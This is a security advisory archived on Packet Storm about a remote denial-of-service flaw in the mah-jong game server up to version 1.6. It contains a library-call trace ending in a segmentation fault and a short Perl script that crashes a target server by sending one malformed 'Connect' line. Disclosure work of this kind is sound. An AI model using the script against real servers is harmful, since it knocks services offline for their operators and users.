exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mj-doc-vul.txt

mj-doc-vul.txt
Posted Oct 14, 2003
Authored by jsk

Ph4nt0m Security Advisory #2003-9-9 - mah-jong versions 1.6 and below are susceptible to a remote denial of service attack.

tags | advisory, remote, denial of service
SHA-256 | 9f7ebf87e359ccad366264bb0a277e015fb72bb0f3f9f57fae88ca20d2a63c19

mj-doc-vul.txt

Change Mirror Download
                            ======================================== 
Ph4nt0m Security Advisory #2003--9-9
========================================

mah-jong server --remote dos vuln

By jsk, in ph4nt0m.net(c) Security.
E-mail: jsk[at]ph4nt0m.net
Advisory Number : pst-2003--10-12-007
Program Name : mah-jong
Version : all versions(the new vesion 1.6 is vuln)(can't path it in DSA-378-1)
Type : remote dos
OS Affected : debian or other os
*****************************************************************************
Description : it is a null argv[] vuln
*****************************************************************************
Details:
*****************************************************************************
.............

read(4, "C", 1) = 1
read(4, "o", 1) = 1
read(4, "n", 1) = 1
read(4, "n", 1) = 1
read(4, "e", 1) = 1
read(4, "c", 1) = 1
read(4, "t", 1) = 1
read(4, " ", 1) = 1
read(4, "1", 1) = 1
read(4, "0", 1) = 1
read(4, "3", 1) = 1
read(4, "4", 1) = 1
read(4, " ", 1) = 1
read(4, "0", 1) = 1
read(4, "\r", 1) = 1
read(4, "\n", 1) = 1
strlen("Connect 1034 0\r\n") = 16
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
strcmp("Connect", "SaveState") = -16
strcmp("Connect", "LoadState") = -9
strcmp("Connect", "Connect") = 0
malloc(16) = 0x08080db0
sscanf(0x080845f8, 0x08076fa0, 0xbffff77c, 0xbffff784, 1) = 1
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
sscanf(0x080845fd, 0x08076fa0, 0xbffff77c, 0xbffff784, 1) = 1
__ctype_b_loc(1, 0, 0x400148cc, 0x40014ec8, 1) = 0x40157418
strncmp(NULL, "Robot", 5 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
**********************************************************************************************
exploit:

#!/usr/bin/perl -s
use IO::Socket;
# test it in slackware 9.0
# DOS-test--mj1.6--code by jsk
# mahJong 1.6, all versions of mahjong
if(!$ARGV[0] || !$ARGV[1])
{ print "usage: ./dosmj.pl <host> <port>\n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$jsk ="Connect 1034 0";
$socket = new IO::Socket::INET (
Proto => "tcp",
PeerAddr => $host,
PeerPort => $port);

die "unable to connect to $host:$port ($!)\n" unless $socket;
print $socket "Connect 1034 0";
print $socket "\r\n";
close($socket);

**********************************************************************************************
path : http://www.stevens-bradfield.com/MahJong/

Julian Bradfield or securityteam of debian will path it.



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close